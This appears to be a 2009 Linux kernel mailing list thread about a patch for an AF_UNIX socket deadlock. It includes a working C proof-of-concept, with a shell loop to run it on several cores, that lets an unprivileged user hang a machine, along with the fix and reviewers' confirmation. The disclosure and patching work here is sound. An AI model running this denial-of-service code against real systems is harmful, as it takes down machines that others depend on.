[PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Tomoki Sekiyama]

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
    namespace(*), and shutdown(2) it.
 2. Repeat connect(2)ing to the listening socket from the other sockets
    until the connection backlog is full-filled.
 3. connect(2) takes the CPU forever. If every core is taken, the
    system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
    If a file-based socket is used, the system doesn't deadlock because
    of context switches in the file system layer.

Why this happens:
 Error checks between unix_socket_connect() and unix_wait_for_peer() are
 inconsistent. The former calls the latter to wait until the backlog is
 processed. Despite the latter returns without doing anything when the
 socket is shutdown, the former doesn't check the shutdown state and
 just retries calling the latter forever.

Patch:
 The patch below adds shutdown check into unix_socket_connect(), so
 connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com>
---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 51ab497..fc820cd 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

 	if (unix_recvq_full(other)) {
 		err = -EAGAIN;
-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu@hitachi.com

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[David Miller]

From: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
Date: Mon, 19 Oct 2009 15:02:52 +0900

> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
 ...
> Why this happens:
>  Error checks between unix_socket_connect() and unix_wait_for_peer() are
>  inconsistent. The former calls the latter to wait until the backlog is
>  processed. Despite the latter returns without doing anything when the
>  socket is shutdown, the former doesn't check the shutdown state and
>  just retries calling the latter forever.
> 
> Patch:
>  The patch below adds shutdown check into unix_socket_connect(), so
>  connect(2) to the shutdown socket will return -ECONREFUSED.
> 
> Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com>

Looks good, applied, thank you!

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Américo Wang]

On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
<tomoki.sekiyama.qu@hitachi.com> wrote:
> Hi,
> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
>
> How to reproduce:
> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>    namespace(*), and shutdown(2) it.
>  2. Repeat connect(2)ing to the listening socket from the other sockets
>    until the connection backlog is full-filled.
>  3. connect(2) takes the CPU forever. If every core is taken, the
>    system hangs.
>
> PoC code: (Run as many times as cores on SMP machines.)


Interesting...

I tried this with the following command:

% for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
do ./unix-socket-dos-exploit; echo "=====$i====";done
Connection OK
Connection OK
=====1====
Connection OK
Connection OK
=====2====
Connection OK
Connection OK
=====3====
Connection OK
Connection OK
=====4====

My system doesn't hang at all.

Am I missing something?

Thanks!

>
> int main(void)
> {
>        int ret;
>        int csd;
>        int lsd;
>        struct sockaddr_un sun;
>
>        /* make an abstruct name address (*) */
>        memset(&sun, 0, sizeof(sun));
>        sun.sun_family = PF_UNIX;
>        sprintf(&sun.sun_path[1], "%d", getpid());
>
>        /* create the listening socket and shutdown */
>        lsd = socket(AF_UNIX, SOCK_STREAM, 0);
>        bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
>        listen(lsd, 1);
>        shutdown(lsd, SHUT_RDWR);
>
>        /* connect loop */
>        alarm(15); /* forcely exit the loop after 15 sec */
>        for (;;) {
>                csd = socket(AF_UNIX, SOCK_STREAM, 0);
>                ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
>                if (-1 == ret) {
>                        perror("connect()");
>                        break;
>                }
>                puts("Connection OK");
>        }
>        return 0;
> }
>
> (*) Make sun_path[0] = 0 to use the abstruct namespace.
>    If a file-based socket is used, the system doesn't deadlock because
>    of context switches in the file system layer.
>
> Why this happens:
>  Error checks between unix_socket_connect() and unix_wait_for_peer() are
>  inconsistent. The former calls the latter to wait until the backlog is
>  processed. Despite the latter returns without doing anything when the
>  socket is shutdown, the former doesn't check the shutdown state and
>  just retries calling the latter forever.
>
> Patch:
>  The patch below adds shutdown check into unix_socket_connect(), so
>  connect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com>
> ---
>  net/unix/af_unix.c |    2 ++
>  1 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
>        err = -ECONNREFUSED;
>        if (other->sk_state != TCP_LISTEN)
>                goto out_unlock;
> +       if (other->sk_shutdown & RCV_SHUTDOWN)
> +               goto out_unlock;
>
>        if (unix_recvq_full(other)) {
>                err = -EAGAIN;

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Tomoki Sekiyama]

Hi, thanks for testing!

Américo Wang wrote:
> On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
> <tomoki.sekiyama.qu@hitachi.com> wrote:
>> Hi,
>> I found a deadlock bug in UNIX domain socket, which makes able to DoS
>> attack against the local machine by non-root users.
>>
>> How to reproduce:
>> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>>    namespace(*), and shutdown(2) it.
>>  2. Repeat connect(2)ing to the listening socket from the other sockets
>>    until the connection backlog is full-filled.
>>  3. connect(2) takes the CPU forever. If every core is taken, the
>>    system hangs.
>>
>> PoC code: (Run as many times as cores on SMP machines.)

Sorry for my ambiguous explanation ...

> Interesting...
> 
> I tried this with the following command:
> 
> % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
> do ./unix-socket-dos-exploit; echo "=====$i====";done
<snip>
> My system doesn't hang at all.
> 
> Am I missing something?
>
> Thanks!

You should run the ./unix-socket-dos-exploit concurrently, like below:

for i in {1..4} ; do ./unix-socket-dos-exploit & done

# For safety reason, the PoC code stops in 15 seconds by alarm(15).

-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu@hitachi.com

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Tomoki Sekiyama]

Hi, thanks for testing!

Américo Wang wrote:
> On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
> <tomoki.sekiyama.qu@hitachi.com> wrote:
>> Hi,
>> I found a deadlock bug in UNIX domain socket, which makes able to DoS
>> attack against the local machine by non-root users.
>>
>> How to reproduce:
>> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>>    namespace(*), and shutdown(2) it.
>>  2. Repeat connect(2)ing to the listening socket from the other sockets
>>    until the connection backlog is full-filled.
>>  3. connect(2) takes the CPU forever. If every core is taken, the
>>    system hangs.
>>
>> PoC code: (Run as many times as cores on SMP machines.)

Sorry for my ambiguous explanation ...

> Interesting...
> 
> I tried this with the following command:
> 
> % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
> do ./unix-socket-dos-exploit; echo "=====$i====";done
<snip>
> My system doesn't hang at all.
> 
> Am I missing something?
>
> Thanks!

You should run the ./unix-socket-dos-exploit concurrently, like below:

for i in {1..4} ; do ./unix-socket-dos-exploit & done

# For safety reason, the PoC code stops in 15 seconds by alarm(15).

-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu@hitachi.com

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Américo Wang]

On Mon, Oct 19, 2009 at 4:58 PM, Tomoki Sekiyama
<tomoki.sekiyama.qu@hitachi.com> wrote:
> Hi, thanks for testing!
>
> Américo Wang wrote:
>> On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
>> <tomoki.sekiyama.qu@hitachi.com> wrote:
>>> Hi,
>>> I found a deadlock bug in UNIX domain socket, which makes able to DoS
>>> attack against the local machine by non-root users.
>>>
>>> How to reproduce:
>>> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
>>>    namespace(*), and shutdown(2) it.
>>>  2. Repeat connect(2)ing to the listening socket from the other sockets
>>>    until the connection backlog is full-filled.
>>>  3. connect(2) takes the CPU forever. If every core is taken, the
>>>    system hangs.
>>>
>>> PoC code: (Run as many times as cores on SMP machines.)
>
> Sorry for my ambiguous explanation ...
>
>> Interesting...
>>
>> I tried this with the following command:
>>
>> % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
>> do ./unix-socket-dos-exploit; echo "=====$i====";done
> <snip>
>> My system doesn't hang at all.
>>
>> Am I missing something?
>>
>> Thanks!
>
> You should run the ./unix-socket-dos-exploit concurrently, like below:
>
> for i in {1..4} ; do ./unix-socket-dos-exploit & done
>
> # For safety reason, the PoC code stops in 15 seconds by alarm(15).

Hmm, you are right.

My system hangs for 10 or more seconds after I did what you said.
Confirmed.

Thanks!

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Jarek Poplawski]

On 19-10-2009 08:02, Tomoki Sekiyama wrote:
...
> Why this happens:
>  Error checks between unix_socket_connect() and unix_wait_for_peer() are
>  inconsistent. The former calls the latter to wait until the backlog is
>  processed. Despite the latter returns without doing anything when the
>  socket is shutdown, the former doesn't check the shutdown state and
>  just retries calling the latter forever.
> 
> Patch:
>  The patch below adds shutdown check into unix_socket_connect(), so
>  connect(2) to the shutdown socket will return -ECONREFUSED.
> 
> Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com>
> ---
>  net/unix/af_unix.c |    2 ++
>  1 files changed, 2 insertions(+), 0 deletions(-)
> 
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
>  	err = -ECONNREFUSED;
>  	if (other->sk_state != TCP_LISTEN)
>  		goto out_unlock;
> +	if (other->sk_shutdown & RCV_SHUTDOWN)
> +		goto out_unlock;

Isn't the shutdown call expected to change sk_state to TCP_CLOSE?

Jarek P.

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[David Miller]

From: Jarek Poplawski <jarkao2@gmail.com>
Date: Mon, 19 Oct 2009 11:57:13 +0000

> Isn't the shutdown call expected to change sk_state to TCP_CLOSE?

No, because the send side is still up and operational, it's
only a half duplex close.

Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[Jarek Poplawski]

On Mon, Oct 19, 2009 at 06:14:59AM -0700, David Miller wrote:
> From: Jarek Poplawski <jarkao2@gmail.com>
> Date: Mon, 19 Oct 2009 11:57:13 +0000
> 
> > Isn't the shutdown call expected to change sk_state to TCP_CLOSE?
> 
> No, because the send side is still up and operational, it's
> only a half duplex close.

OK, thanks for the explanation,
Jarek P.